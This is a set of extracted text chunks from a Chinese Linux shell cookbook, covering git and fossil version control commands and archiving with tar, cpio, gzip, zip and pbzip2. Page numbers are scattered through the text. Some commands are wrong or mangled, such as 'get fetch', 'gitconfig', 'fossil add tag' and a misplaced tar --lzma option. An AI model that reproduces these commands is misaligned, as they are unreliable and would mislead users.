    {"text": "git commit -am \"Add and Commit all modified files.\" 6.5 使用 git 创建与合并分支 如果你正在做应用程序的维护工作，可能会需要返回应用先前的分支进行测试。"},
    {"text": "新的代码经过测试和验证 6.5 使用 git 创建与合并分支 193 之后，就可以由项目维护者将新分支合并入主分支了。 git的checkout子命令可用于更改及创建 1 新分支。"},
    {"text": "3 6.5.2 实战演练 切换到之前创建的分支： 4 $ git checkout OldBranchName 5 6.5.3 工作原理 checkout子命令会检查系统中的.git目录，然后恢复与指定分支相关联的快照。"},
    {"text": "不过你可以使用checkout的选项-b来创建新的分支： $ git checkout -b MyBranchName 7 Switched to a new branch 'MyBranchName' 该命令将当前工作分支定义为MyBrachName。"},
    {"text": "14 194 第 6 章 仓储管理 (1) 实战演练 创建了新分支，添加并提交过变更之后，切换回起始分支，然后使用git merge命令将变更 合并入新分支： $ git checkout originalBranch $ git checkout -b modsToOriginalBranch # 编辑，测试 $ git commit -a -m \"Comment on modifications to originalBranch\" $ git checkout originalBranch $ git merge modsToOriginalBranch (2) 工作原理 第一个git checkout命令检索起始分支的快照。"},
    {"text": "(3) 补充内容 如果合并完分支之后不再需要该分支，可以使用选项-d进行删除： $ git branch -d MyBranchName 6.6 分享工作成果 不需要连接Internet就可以使用Git开展工作。"},
    {"text": "以父分支名作为参数的format-patch子命令会生成当前分支的补丁文件： 3 $ git checkout master $ git checkout -b newFeature # 编辑、添加并提交 $ git format-patch master 0001-Patch-add-new-feature-to-menu.patch 4 0002-Patch-support-new-feature-in-library.patch 另一种常见的标识符是git快照的SHA1。"},
    {"text": "5 你可以使用git log命令查看仓库中所有提交的日志： $ git log commit 82567395cb97876e50084fd29c93ccd3dfc9e558 6 Author: Clif Flynt <clif@example.com> Date: Thu Dec 15 13:38:28 2016 -0500 Fixed reported bug #1 7 commit 721b3fee54e73fd9752e951d7c9163282dcd66b7 Author: Clif Flynt <clif@example.com> Date: Thu Dec 15 13:36:12 2016 -0500 8 Created new feature 使用SHA1作为参数的git format-patch命令形式如下： 9 $ git format-patch SHA1 你可以在命令中使用完整的SHA1字符串或是只使用其中不重复的起始部分： 10 $ git format-patch 721b $ git format-patch 721b3fee54e73fd9752e951d7c9163282dcd66b7 也可以根据与当前位置的距离来标识某个快照，这可以通过选项-#来实现。"},
    {"text": "11 下列命令会为主分支上的最近一次变更生成补丁文件： $ git format-patch -1 master 12 下列命令会为bleedingEdge分支上最近的两次变更生成补丁文件： $ git format-patch -2 bleedingEdge 14 196 第 6 章 仓储管理 应用补丁 git apply命令可以将补丁应用于工作代码。"},
    {"text": "如果你没有检出正确的分支， --check会输出错误信息： $ git apply --check 0001-Patch-new-feature.patch error: patch failed: feature.txt:2 error: feature.txt: patch does not apply 如果通过了--check的测试，就可以使用git apply命令应用补丁了： $ git apply 0001-Patch-new-feature.patch 6.7 推送分支 你的最终目标是与所有人分享新的代码，而不是只把补丁发送给个别人。"},
    {"text": "git push命令可以将分支推送到主线。 实战演练 如果你有一个唯一的分支，可以将其推送到主仓库： $ git push origin MyBranchName 修改了现有分支后，你可能会接收到如下错误信息。  remote:error:Refusing to update checked out branch: refs/heads/master  remote:error:By default, updating the current branch in a non-bare repotory 在这种情况下，需要将变更推送到远程的新分支上： $ git push origin master:NewBranchName 另外还需要提醒项目维护者将该分支合并入主线： # 在远程 $ git merge NewBranchName 从当前分支检索最新的源。"},
    {"text": "get fetch SITENAME 3 要克隆的仓库名为origin： $ get fetch origin 4 下列命令可以从其他开发者仓库中获取数据： $ get fetch Username@Address:Project 5 更新仓库以及当前的工作代码。"},
    {"text": "如果出现冲突，命令将会失败，需要你去解 决冲突： $ git pull origin 7 $ git pull Username@Address:Project 6.8 检查 git 仓库状态 8 在完成集中开发和调试后，你可能记不清楚都做了哪些变更。"},
    {"text": "git status命令可以助你一 臂之力。 9 6.8.1 实战演练 10 git status命令会输出项目的当前状态。 它会告诉你当前所处分支、是否有未提交的变更 以及是否与origin仓库①保持同步： $ git status 11 # On branch master # Your branch is ahead of 'origin/master' by 1 commit. # # Changed but not updated: 12 # se \"git add <file>...\" to update what will be committed) # (use \"git checkout -- <file>...\" to discard changes in working —————————— 14 ① origin是远程仓库的别名。 运行git remote -v或者查看.git/config可以看到origin的含义。"},
    {"text": "198 第 6 章 仓储管理 directory) # #modified: newFeature.tcl 6.8.2 工作原理 在上面的git status输出中可以看到已经添加并提交了一个变更，还有一个文件已经修改， 但尚未提交。"},
    {"text": "这一行显示有一个未推送的提交： # Your branch is ahead of 'origin/master' by 1 commit. 以下行说明文件已经修改，但尚未提交： #modified: newFeature.tcl gitconfig --global user.name \"Your Name\" gitconfig --global user.email you@example.com 如果用于提交的身份信息不对，可以使用下面的命令修正： git commit --amend --author='Your Name <you@example.com>' 1 files changed, 1 insertions(+), 0 deletions(-) create mode 100644 testfile.txt 6.9 查看 git 历史记录 在开始着手一个项目之前，你应该先回顾一下项目先前的工作成果，以便于同其他开发者的 工作保持一致。"},
    {"text": "实战演练 git log命令所生成的报告中包括SHA1 ID、提交快照的作者、提交日期以及日志信息： $ git log commit fa9ef725fe47a34ab8b4488a38db446c6d664f3e Author: Clif Flynt <clif@noucorp.com> Date: Fri Dec 16 20:58:40 2016 -0500 Fixed bug # 1234 6.10 查找 bug 哪怕是最好的测试组也无法杜绝bug。"},
    {"text": "如果你能隔离有问题的代码，git blame命令就可以找出是谁提交了这段代码以及对应 2 的SHA。 3 6.10.1 实战演练 git blame命令可以返回一个列表，其中包含提交的SHA、作者、提交日期以及提交信息的 第一行： 4 $ git blame testGit.sh d5f62aa1 (Flynt 2016-12-07 09:41:52 -0500 1) Created testGit.sh 063d573b (Flynt 2016-12-07 09:47:19 -0500 2) Edited on master repo. 5 2ca12fbf (Flynt 2016-12-07 10:03:47 -0500 3) Edit created remotely and merged. 6 6.10.2 补充内容 如果在测试中发现了问题，但是不知道出错的是哪些代码，可以使用git bisect命令找出 引发问题的提交。 7 1. 实战演练 git bisect命令需要两个标识符，一个用于最近所知的好代码（the last known good code） ， 8 另一个用于坏代码（bad release）。"},
    {"text": "10 然后git会再次检出一个新的位于好坏代码之间的中间提交点： # 将当前（有 bug 的）代码拉取进 git 仓库 $ git checkout buggyBranch 11 # 初始化 git bisect $ git bisect start # 将当前提交标记为 bad 12 $ git bisect bad # 将没有问题的提交标记为 good # 拉取中间提交点进行测试 14 200 第 6 章 仓储管理 $ git bisect good v2.5 Bisecting: 3 revisions left to test after this (roughly 2 steps) [6832085b8d358285d9b033cbc6a521a0ffa12f54] New Feature # 编译并测试 # 标记为 good 或 bad # 拉取下一个提交进行测试 $ git bisect good Bisecting: 1 revision left to test after this (roughly 1 step) [2ca12fbf1487cbcd0447cf9a924cc5c19f0debf9] Merged. Merge branch 'branch1' 2. 工作原理 git bisect命令能够找出好坏版本之间的中间版本。 你可以构建并测试这个版本，然后重新 运行git bisect来标记出good或bad。 接着git bisect再找出好坏版本之间另一个新的中间版本。"},
    {"text": "要想把标签发送到origin仓库， 必须加上选项--tags： $ git push origin --tags git tag命令包括可以用于添加、删除和列出标签的选项。 实战演练 不使用选项的git tag命令可以列出可见标签： $ git tag release-1.0 release-1.0beta release-1.1 你可以通过添加标签名在当前检出中创建标签： $ git tag ReleaseCandidate-1 在gittag命令中加入指定提交的SHA-1，就可以为该提交添加标签： 6.12 提交信息规范 201 $ git log --pretty=oneline 1 72f76f89601e25a2bf5bce59551be4475ae78972 Initialcheckin fecef725fe47a34ab8b4488a38db446c6d664f3e Added menu GUI ad606b8306d22f1175439e08d927419c73f4eaa9 Added menu functions 773fa3a914615556d172163bbda74ef832651ed5 Initial action buttons 2 $ git tag menuComplete ad606b 选项-a可以为标签加入注解： 3 $ git tag -a tagWithExplanation # git 会打开编辑器，创建注解 4 你可以在命令行中使用-m选项定义信息： $ git tag -a tagWithShortMessage -m \"A short description\" 如果使用git show命令，会显示如下信息： 5 $ git show tagWithShortMessage tag tagWithShortmessage 6 Tagger: Clif Flynt <clif@cflynt.com> Date: Fri Dec 23 09:58:19 2016 -0500 A short description 7 ... 选项-d可以删除标签： $ git tag 8 tag1 tag2 tag3 $ git tag -d tag2 9 $ git tag tag2 tag3F 10 6.12 提交信息规范 提交信息没有什么固定的形式，只要你觉得可以就行。"},
    {"text": "fossil和Git存在几个方面的差异。 fossil仓库是以单个SQLite数据库的形式实现的，而不像Git 那样采用的是一组目录。 fossil应用本身包含了如Web界面、故障报告表系统以及wiki，而Git是采 用附加程序的形式来实现这些服务的。 和Git一样，fossil的主要接口是fossile命令以及执行特定操作的子命令，例如创建新仓库、 克隆已有仓库、添加、提交文件等。"},
    {"text": "fossil的help命令会生成一份所支持命令的列表，fossil help CMDNAME会显示出一个帮助页面： $ fossil help Usage: fossil help COMMAND Common COMMANDs: (use \"fossil help -a|-all\" for a complete list) add cat finfo mv revert timeline ... 6.13.1 预备知识 你的系统中可能并没有安装fossil。"},
    {"text": "可以从官方网站http://www.fossil-scm.org下载。 6.13.2 实战演练 从http://www.fossil-scm.org下载适合你所在平台的fossil可执行文件，然后将其放入bin目录中。"},
    {"text": "6.14 创建新的 fossil 仓库 fossil易于安装，无论是对于你自己的项目还是你参与的已有项目，其用起来都很方便。 6.14 创建新的 fossil 仓库 203 fossil new和fossil init命令效果一样。"},
    {"text": "1 6.14.1 实战演练 2 fossil new和fossil init命令会创建一个空的fossil仓库： $ fossil new myProject.fossil project-id: 855b0e1457da519d811442d81290b93bdc0869e2 3 server-id: 6b7087bce49d9d906c7572faea47cb2d405d7f72 admin-user: clif (initial password is \"f8083e\") $ fossilinitmyProject.fossil project-id: 91832f127d77dd523e108a9fb0ada24a5deceedd 4 server-id: 8c717e7806a08ca2885ca0d62ebebec571fc6d86 admin-user: clif (initial password is \"ee884a\") 5 6.14.2 工作原理 fossil new和fossil init命令功能相同。"},
    {"text": "1. fossil的Web界面 8 fossil的Web服务器为fossil系统特性（包括配置、故障报告表管理、wiki、图像化提交历史等） 提供了本地或远程访问功能。"},
    {"text": "10 实战演练 $ fossilui Listening for HTTP requests on TCP port 8080 11 #> fossil ui -P 80 Listening for HTTP requests on TCP port 80 2. 启用仓库的远程访问功能 12 fossil server命令会启动一个fossil服务器，允许远程用户克隆仓库。"},
    {"text": "fossil服务器可以使用仓库的完整路径启动： $ fossil server /home/projects/projectOne.fossil fossil服务器也可以从fossil仓库的目录中启动，这时就不需要指定仓库了： $ cd /home/projects $ ls projectOne.fossil $ fossil server Listening for HTTP requests on TCP port 8080 6.15 克隆远程 fossil 仓库 因为fossil仓库是包含在单个文件中的，你只需要复制该文件就能完成仓库的克隆了。"},
    {"text": "6.15.1 实战演练 你可以使用fossil clone命令从运行fossil服务器的站点上克隆仓库。 该命令会克隆版本历 史，但是并不包括用户名和密码信息： $ fossil clone http://RemoteSite:port projectName.fossil 6.15.2 工作原理 fossil clone命令将远程站点的仓库按照给定的名称（在本例中是projectName.fossil）复 制为本地文件。 6.16 打开 fossil 项目 fossil open命令可以从仓库中提取文件。"},
    {"text": "6.16.1 实战演练 下载fossil仓库： 6.17 使用 fossil 添加与提交变更 205 $ fossil clone http://example.com/ProjectName project.fossil 1 创建工作目录并切换到该目录： $ mkdirnewFeature $ cdnewFeature 2 在工作目录中打开仓库： $ fossil open ../project.fossil 3 6.16.2 工作原理 4 fossil open命令可以将已经检入fossil仓库的所有目录、子目录以及文件全部提取出来。"},
    {"text": "创建一个新的工作目录并切换进去： 6 $ mkdir fix_1.0_Bug $ cd fix_1.0_Bug 7 在工作目录中打开仓库： $ fossil open ../project.fossil release_1.0 8 6.17 使用 fossil 添加与提交变更 创建仓库之后，就该添加和编辑文件了。 fossil add命令可以将新文件添加到仓库，fossil 9 commit命令可以将变更提交到仓库。"},
    {"text": "如果定义了 11 其中一个变量，fossil就不会在命令行中发出提示，而是使用编辑器： $ echo \"example\" >example.txt $ fossil add example.txt 12 ADDED example.txt $ fossil commit # Enter a commit message for this check-in. Lines beginning with # 14 are ignored. 206 第 6 章 仓储管理 # # user: clif # tags: trunk # # ADDED example.txt $ echo \"Line 2\" >>example.txt $ fossil commit # Enter a commit message for this check-in. Lines beginning with # are ignored. # # user: clif # tags: trunk # # EDITED example.txt 6.17.2 补充内容 要想编辑文件，你只需要做提交就行了。"},
    {"text": "如果启用了自动同步，此次提交也会被推送至远程仓库： $ vim example.txt $ vim otherExample.txt $ fossil commit # Enter a commit message for this check-in. Lines beginning with # are ignored. # # user: clif # tags: trunk # # EDITED example.txt, otherExample.txt 6.18 使用 fossil 分支与 fork 在理想世界里，开发树是一条直线，一个修订版本直接跟着上一个修订版本。"},
    {"text": "对于从主线代码上出现的临时分叉（temporary divergence）（例如，修复仓库中的bug）和永 久分叉（permanent divergence）（例如，1.x发布版中只修复bug，2.x发布版中包含新的特性），fossil 系统作出了区分。"},
    {"text": "例如，你 为正在开发的新代码创建的是一个分支，而如果你在别人已经提交了某个文件的变更之后再提交 自己对该文件的变更，那产生的就是fork，除非你是第一个更新并解决冲突的人。"},
    {"text": "4 (2) fossil branch new命令可以基于指定版本创建新分支： $ fossil branch new NewBranchName Basis-Id 5 New branch: 9ae25e77317e509e420a51ffbc43c2b1ae4034da (3) Basis-Id是一个标识符，用于告诉fossil新分支要以哪个代码快照为基础。"},
    {"text": "6 (4) 注意，在将工作目录更新到新分支之前需要执行一次检出： $ fossil checkout NewBranchName 7 6.18.2 工作原理 8 NewBranchName是新分支的名字。"},
    {"text": "下面的命令可以在trunk的顶端（tip of a trunk）创建一个分支： 10 $ fossil branch new test_rework_parse_logic trunk New branch: 9ae25e77317e509e420a51ffbc43c2b1ae4034da 11 $ fossil checkout test_rework_parse_logic 带有选项--branch的fossil commit命令允许在提交时指定新的分支名： 12 $ fossil checkout trunk # 作出变更 $ fossil commit --branch test_rework_parse_logic 14 208 第 6 章 仓储管理 6.18.3 补充内容 合并fork以及分支 分支和fork都可以合并回其父分支。"},
    {"text": "fossil merge命令可以将临时的fork合并入另一个分支。 实战演练  要创建临时fork并将其合并回已有分支，首先必须检出要使用的分支： $ fossil checkout trunk  现在可以开始编辑和测试了。"},
    {"text": "选项--branch 会在必要时创建新的分支并将其设置为当前分支： $ fossil commit --branch new_logic  代码经过测试和验证后，在想合并入的分支上执行检出操作，将代码合并回相应的分支， 然后调用fossil merge命令进行合并，最后提交合并： $ fossil checkout trunk $ fossil merge new_logic $ fossil commit  fossile和Git在这方面略有不同。 git merge命令会更新仓库，而fossil merge命令直到 提交合并时才会修改仓库。"},
    {"text": "fossil setting命令可以启用或禁止autosync设置： $ fossil setting autosync off $ fossil setting autosync on 如果禁用了autosync模式（fossil运行在手动合并模式下），你就必须使用fossil push命 6.21 检查 fossil 仓库状态 209 令将本地仓库中的变更推送到远程仓库： 1 $ fossil push 2 6.19.2 工作原理 push命令能够将本地仓库的所有变更推送至远程仓库。"},
    {"text": "如果你在笔记本电脑上进行开发，而主仓库 位于公司服务器上，或是你和他人共同开发某个项目，需要与同事的开发进度保持一致，在这些 情况下，你就需要更新本地仓库了。"},
    {"text": "它会更 新仓库，但不会修改你当前的工作代码： $ fossil pull 7 如果仓库中存在变更，fossil checkout命令会更新工作代码： $ fossilcheckout 8 你可以使用fossil update命令来结合pull和checkout这两个子目录的功能： $ fossil update UPDATE main.tcl 9 ------------------------------------------------------------------- ------------ updated-to: 47c85d29075b25aa0d61f39d56f61f72ac2aae67 2016-12-20 17:35:49 UTC 10 tags: trunk comment: Ticket 1234abc workaround (user: clif) changes: 1 file modified. \"fossil undo\" is available to undo changes to the working checkout. 11 6.21 检查 fossil 仓库状态 12 在着手新的开发之前，你应该将本地仓库与主仓库进行比较。"},
    {"text": "14 210 第 6 章 仓储管理 实战演练 fossil status命令会报告项目的当前状态、是否有未提交的编辑以及工作代码是否在分 支顶端： $ fossil status repository: /home/clif/myProject/../myProject.fossil local-root: /home/clif/myProject/ config-db: /home/clif/.fossil checkout: 47c85d29075b25aa0d61f39d56f61f72ac2aae67 2016-12-20 17:35:49 UTC parent: f3c579cd47d383980770341e9c079a87d92b17db 2016-12-20 17:33:38 UTC tags: trunk comment: Ticket 1234abc workaround (user: clif) EDITED main.tcl 如果在最后一次检出之后向工作分支发起过提交，输出的状态信息中会包含如下行： child: abcdef123456789... YYYY-MM-DD HH:MM::SS UTC 这表明代码有一次提交。"},
    {"text": "如果操作失败，你可以为fossil指定浏 览器： $ fossil ui Listening for HTTP requests on TCP port 8080 $ konqueror 127.0.0.1:8080 6.22 查看 fossil 历史记录 211 1 2 3 4 5 图 6-1 1. 查找bug 6 fossil提供了一些工具，能够帮助我们定位引入bug的提交，见表6-1。"},
    {"text": "表 6-1 7 工 具 描 述 fossil diff 显示文件的两个修订版本之间的差异 fossil blame 生成报表，显示出文件中每一行的提交信息 8 fossil bisect 在应用程序的好坏版本之间进行二分搜索 (1) 实战演练 9 fossil diff命令包含若干选项。"},
    {"text": "11 下面的命令可以查找出文件main.tcl的两个不同修订版之间的差异： $ fossil diff -from 47c85 -to 7a7e25 main.tcl 12 Index: main.tcl ================================================================== --- main.tcl 14 +++ main.tcl 212 第 6 章 仓储管理 @@ -9,10 +9,5 @@ set max 10 set min 1 + while {$x < $max} { - for {set x $min} {$x < $max} {incr x} { - process $x - } - (2) 补充内容 了解不同修订版本之间的差异固然有用，但更有帮助的是通过注解整个文件来显示出每一行 的添加时间。 fossil blame命令能够生成文件的注解列表，显示出每行都是何时添加的： $ fossil blame main.tcl 7806f43641 2016-12-18 clif: # main.tcl 06e155a6c2 2016-12-19 clif: # ClifFlynt b2420ef6be 2016-12-19 clif: # Packt fossil Test Script a387090833 2016-12-19 clif: 76074da03c 2016-12-20 clif: for {set i 0} {$i < 10} {incr i} { 76074da03c 2016-12-20 clif: puts \"Buy my book\" 2204206a18 2016-12-20 clif: } 7a7e2580c4 2016-12-20 clif: 如果你确定了问题出在哪个版本中，就应该将注意力集中在该版本上。"},
    {"text": "它可以让你定义代码的好坏版本并自动检出两者之 间的一个版本进行测试。 然后你可以将此版本标记为好版本或坏版本，由fossil重复上述过程。"},
    {"text": "(1) 实战演练 fossil bisect reset命令可以初始化好坏版本指针。 fossil bisect good和fossil bisect bad命令会标记出好版本和坏版本并检出这两个版本之间的中间版本： $ fossil bisect reset $ fossil bisect good 63e1e1 $ fossil bisect bad 47c85d UPDATE main.tcl ----------------------------------------------------------------------- updated-to: f64ca30c29df0f985105409700992d54e 2016-12-20 17:05:44 UTC tags: trunk comment: Reworked flaky test. (user: clif) changes: 1 file modified. \"fossil undo\" is available to undo changes to the working checkout. 2 BAD 2016-12-20 17:35:49 47c85d29075b25aa 6.22 查看 fossil 历史记录 213 3 CURRENT 2016-12-20 17:05:44 f64ca30c29df0f98 1 1 GOOD 2016-12-19 23:03:22 63e1e1290f853d76 测试过f64ca版本的代码后，将其标记为good或bad，fossil bisect将会接着检出下一个版 本进行测试。 2 (2) 补充内容 fossil bisect status命令会生成一份报表，其中包含了可用版本以及标记出的已测试 3 版本。"},
    {"text": "$ fossil bisect status 2016-12-20 17:35:49 47c85d2907 BAD 4 2016-12-20 17:33:38 f3c579cd47 2016-12-20 17:30:03 c33415c255 CURRENT NEXT 2016-12-20 17:12:04 7a7e2580c4 2016-12-20 17:10:35 24edea3616 5 2016-12-20 17:05:44 f64ca30c29 GOOD 2. 为快照打标签 6 fossil开发树上的每一个节点都可以有一个或多个标签。"},
    {"text": "12 # 为 trunk 分支的顶端打上标签 release_1.0 $ fossil add tag release_1.0 trunk # 为 12 月 15 日的最后一次提交打上标签 beta_release_1 14 $ fossil add tag beta_release_1 2016-12-16 214 第 6 章 仓储管理 (2) 补充内容 标签也可以作为创建fork或分支时的标识符： $ fossil add tag newTag trunk $ fossil branch new newTagBranchnewTag $ fossil checkout newTagBranch 在带有-branch选项的commit命令中，标签可用于创建分支： $ fossil add tag myNewTag 2016-12-21 $ fossil checkout myNewTag # 编辑并修改 $ fossil commit -branch myNewTag 7.2 使用 tar 归档 215 1 第 7 章 2 B 计 划 3 4 本章内容  使用tar归档  创建压缩文件系统 5  使用cpio归档  使用rsync备份系统快照  使用gzip压缩数据  差异化归档  使用zip归档及压缩  使用fsarchiver创建全盘镜像 6  更快的归档工具pbzip2 7 7.1 简介 书到用时方恨少，备份也是一样。"},
    {"text": "7.2.2 实战演练 tar命令可以创建、更新、检查以及解包归档文件。 (1) 用tar创建归档文件： $ tar -cf output.tar [SOURCES] 选项-c表示创建新的归档文件。 选项-f表示归档文件名，该选项后面必须跟一个文件 名称： $ tar -cf archive.tar file1 file2 file3 folder1 .. (2) 选项-t可以列出归档文件中所包含的文件： $ tar -tf archive.tar file1 file2 (3) 选项-v或-vv参数可以在命令输出中加入更多的细节信息。"},
    {"text": "该选项能够显示出更多的细节，例如文件权限、所有者所属的分 组、文件修改日期等信息： $ tar -tvf archive.tar -rw-rw-r-- shaan/shaan 0 2013-04-08 21:34 file1 -rw-rw-r-- shaan/shaan 0 2013-04-08 21:34 file2 文件名必须紧跟在-f之后出现，而且-f应该是选项中的最后一个。"},
    {"text": "假如你 希望使用冗长模式，应该像这样写： $ tar -cvf output.tar file1 file2 file3 folder1 .. 7.2.3 工作原理 tar命令可以接受一组文件名或是通配符（如*.txt） ，以此指定需要进行归档的源文件。"},
    {"text": "7.2 使用 tar 归档 217 1. 向归档文件中追加文件 1 选项-r可以将新文件追加到已有的归档文件末尾： $ tar -rvf original.tar new_file 2 创建一个包含文本文件的归档： $ echo hello >hello.txt $ tar -cf archive.tar hello.txt 3 选项-t可以列出归档文件中的内容。 选项-f可以指定归档文件名： $ tar -tf archive.tar 4 hello.txt 接着使用选项-r向该归档文件中再追加一个文件： 5 $ tar -rf archive.tar world.txt $ tar -tf archive.tar hello.txt world.txt 6 这个归档文件中现在包含了两个文件。 2. 从归档文件中提取文件或目录 7 选项-x可以将归档文件的内容提取到当前目录： $ tar -xf archive.tar 8 使用-x时，tar命令将归档文件中的内容提取到当前目录。 我们也可以用选项-C来指定将文 件提取到哪个目录： $ tar -xf archive.tar -C /path/to/extraction_directory 9 该命令将归档文件的内容提取到指定目录中。"},
    {"text": "11 3. 在 tar 中使用 stdin 和 stdout 在归档时，我们可以将stdout指定为输出文件，这样另一个命令就可以通过管道来读取（作 12 为stdin）并进行其他处理。"},
    {"text": "例如： 14 $ tar cvf - files/ | ssh user@example.com \"tar xv -C Documents/\" 218 第 7 章 B 计划 在上面的例子中，对files目录中的内容进行了归档并将其输出到stdout（由-指明），然后 提取到远程系统中的Documents目录中。"},
    {"text": "下面的命令可以将file2.tar的内容合并到 file1.tar中： $ tar -Af file1.tar file2.tar 查看内容，验证操作是否成功： $ tar -tvf file1.tar 5. 通过检查时间戳来更新归档文件中的内容 追加选项（-r）可以将指定的任意文件加入到归档文件中。"},
    {"text": "$ tar -tf archive.tar filea fileb filec 仅当filea自上次被加入archive.tar后出现了改动才对其执行追加操作： $ tar -uf archive.tar filea 如果两个filea的时间戳相同，则什么都不会发生。 使用touch命令修改文件的时间戳，然后再用tar命令： $ tar -uvvf archive.tar filea -rw-r--r-- slynux/slynux 0 2010-08-14 17:53 filea 因为时间戳比归档文件中的同名文件更新，因此执行追加操作。 可以用选项-t来验证： $ tar -tf archive.tar -rw-r--r-- slynux/slynux 0 2010-08-14 17:52 filea -rw-r--r-- slynux/slynux 0 2010-08-14 17:52 fileb -rw-r--r-- slynux/slynux 0 2010-08-14 17:52 filec -rw-r--r-- slynux/slynux 0 2010-08-14 17:53 filea 如你所见，一个新的filea被加入到了归档文件中。"},
    {"text": "1 $ tar -df archive.tar afile: Mod time differs afile: Size differs 2 7. 从归档中删除文件 我们可以用--delete选项从归档中删除文件： 3 $ tar -f archive.tar --delete file1 file2 .. 或者 4 $ tar --delete --file archive.tar [FILE LIST] 来看另外一个例子： 5 $ tar -tf archive.tar filea fileb filec $ tar --delete --file archive.tar filea 6 $ tar -tf archive.tar fileb filec 7 8. 压缩 tar 归档文件 tar命令默认只归档文件，并不对其进行压缩。"},
    {"text": "为了让tar支持根据扩展名自动选择压缩算法，使用-a或--auto-compress 12 选项： $ tar -acvf archive.tar.gz filea fileb filec filea 14 fileb 220 第 7 章 B 计划 filec $ tar -tf archive.tar.gz filea fileb filec 9. 在归档过程中排除部分文件 选项--exclude [PATTERN]可以将匹配通配符模式的文件排除在归档过程之外。"},
    {"text": "例如，排除所有的.txt文件： $ tar -cf arch.tar * --exclude \"*.txt\" 注意，模式应该使用双引号来引用，避免shell对其进行扩展。 也可以将需要排除的文件列表放入文件中，同时配合选项-X： $ cat list filea fileb $ tar -cf arch.tar * -X list 这样就把filea和fileb排除了。"},
    {"text": "很多源代码都是使用版本控制系统进行维护的，如 subversion、Git、mercurial、CVS（参考上一章）。 版本控制系统中的代码目录通常包含一些特殊 目录，如.svn或.git。"},
    {"text": "例如： $ tar --exclude-vcs -czvvf source_code.tar.gz eye_of_gnome_svn 11. 打印总字节数 选项-totals可以打印出归档的总字节数。"},
    {"text": "如果使用了压缩 选项，文件大小会小于总的归档字节数： $ tar -cf arc.tar * --exclude \"*.txt\" --totals Total bytes written: 20480 (20KiB, 12MiB/s) 7.2.5 参考 7.4节会讲解gzip命令。"},
    {"text": "4 (1) 创建测试文件： $ touch file1 file2 file3 5 (2) 归档测试文件： $ ls file* | cpio -ov > archive.cpio 6 (3) 列出cpio归档文件中的内容： $ cpio -it < archive.cpio 7 (4) 从cpio归档文件中提取文件： $ cpio -id < archive.cpio 8 7.3.2 工作原理 对于归档命令cpio： 9  -o指定了输出；"},
    {"text": "(1) 使用gzip压缩文件： $ gzip filename $ ls filename.gz (2) 解压缩gzip文件： $ gunzip filename.gz $ ls filename (3) 列出压缩文件的属性信息： $ gzip -l test.txt.gz compressed uncompressed ratio uncompressed_name 35 6 -33.3% test.txt (4) gzip命令可以从stdin中读入文件并将压缩文件写出到stdout。 从stdin读入并将压缩后的数据写出到stdout： $ cat file | gzip -c > file.gz 选项 -c用来将输出指定到stdout。 该选项也可以与cpio配合使用： $ ls * | cpio -o | gzip -c > cpiooutput.gz $ zcat cpiooutput.gz | cpio -it (5) 我们可以指定gzip的压缩级别。"},
    {"text": " 第一种方法 3 $ tar -czvvf archive.tar.gz [FILES] 或者 4 $ tar -cavvf archive.tar.gz [FILES] 选项-z指明用gzip进行压缩，选项-a指明根据文件扩展名推断压缩格式。 5  第二种方法 首先，创建一个tar归档文件： 6 $ tar -cvvf archive.tar [FILES] 压缩tar归档文件： 7 $ gzip archive.tar 如果有大量文件（上百个）需要归档及压缩，我们可以采用第二种方法并稍作变动。"},
    {"text": "要解决这个问题，我们可 以在循环中使用追加选项（-r）来逐个添加文件： FILE_LIST=\"file1 file2 file3 file4 file5\" 9 for f in $FILE_LIST; do tar -rvf archive.tar $f done 10 gzip archive.tar 下面的命令可以提取经由gzip压缩的归档文件中的内容： $ tar -xavvf archive.tar.gz -C extract_directory 11 其中，选项-a用于自动检测压缩格式。 2. zcat ——直接读取gzip格式文件 12 zcat命令无需经过解压缩操作就可以将.gz文件的内容输出到stdout。"},
    {"text": "14 224 第 7 章 B 计划 $ ls test.gz $ zcat test.gz A test file # 文件 test 中包含了一行文本 \"A test file\" $ ls test.gz 3. 压缩率 我们可以指定压缩率，它共有9级，其中：  1级的压缩率最低，但是压缩速度最快；"},
    {"text": "用bzip2进行压缩： $ bzip2 filename 解压缩bzip2格式的文件： $ bunzip2 filename.bz2 生成tar.bz2文件并从中提取内容的方法同之前介绍的tar.gz类似： $ tar -xjvf archive.tar.bz2 其中，-j表明该归档文件是以bzip2格式压缩的。"},
    {"text": "使用lzma进行压缩： $ lzma filename 7.5 使用 zip 归档及压缩 225 解压缩lzma文件： 1 $ unlzma filename.lzma 可以使用--lzma选项压缩生成的tar归档文件： 2 $ tar -cvvf --lzma archive.tar.lzma [FILES] 或者 3 $ tar -cavvf archive.tar.lzma [FILES] 将lzma压缩的tar归档文件中的内容提取到指定的目录中： 4 $ tar -xvvf --lzma archive.tar.lzma -C extract_directory 其中，-x用于提取内容，--lzma指定使用lzma解压缩归档文件。"},
    {"text": "9 7.5.1 实战演练 (1) 创建zip格式的压缩归档文件（zip archive）： 10 $ zip archive_name.zip file1 file2 file3... 例如： 11 $ zip file.zip file 该命令会生成file.zip。 12 (2) 选项-f可以对目录进行递归式归档： $ zip -r archive.zip folder1 folder2 14 226 第 7 章 B 计划 (3) unzip命令可以从ZIP文件中提取内容： $ unzip file.zip 在完成提取操作之后，unzip并不会删除file.zip（这一点与unlzma和gunzip不同）。 (4) 选项-u可以更新压缩归档文件中的内容： $ zip file.zip -u newfile (5) 选项-d从压缩归档文件中删除一个或多个文件： $ zip -d arc.zip file.txt (6) 选项-l可以列出压缩归档文件中的内容： $ unzip -l archive.zip 7.5.2 工作原理 尽管同大多数我们已经讲过的归档、压缩工具类似，但zip在完成归档之后并不会删除源文 件，这一点与lzma、gzip、bzip2不同。"},
    {"text": "7.6.1 预备知识 多数发布版中都没有预装pbzip2，你得使用软件包管理器自行安装： sudo apt-get install pbzip2 7.6.2 实战演练 (1) 压缩单个文件： 7.6 更快的归档工具 pbzip2 227 pbzip2 myfile.tar 1 pbzip2会自动检测系统中处理器核心的数量，然后将myfile.tar压缩成myfile.tar.bz2。 (2) 要压缩并归档多个文件或目录，可以使用tar配合pbzip2来实现： 2 tar cf sav.tar.bz2 --use-compress-prog=pbzip2 dir 或者 3 tar -c directory_to_compress/ | pbzip2 -c > myfile.tar.bz2 (3) 从pbzip2格式的文件中进行提取。 4 选项-d可以解压缩： pbzip2 -d myfile.tar.bz2 5 如果是tar.bz2文件，我们可以利用管道完成解压缩和提取： pbzip2 -dc myfile.tar.bz2 | tar x 6 7.6.3 工作原理 pbzip2在内部使用的压缩算法和bzip2一样，但是它会利用pthreads（一个线程库）来同 7 时压缩多个数据块。"},
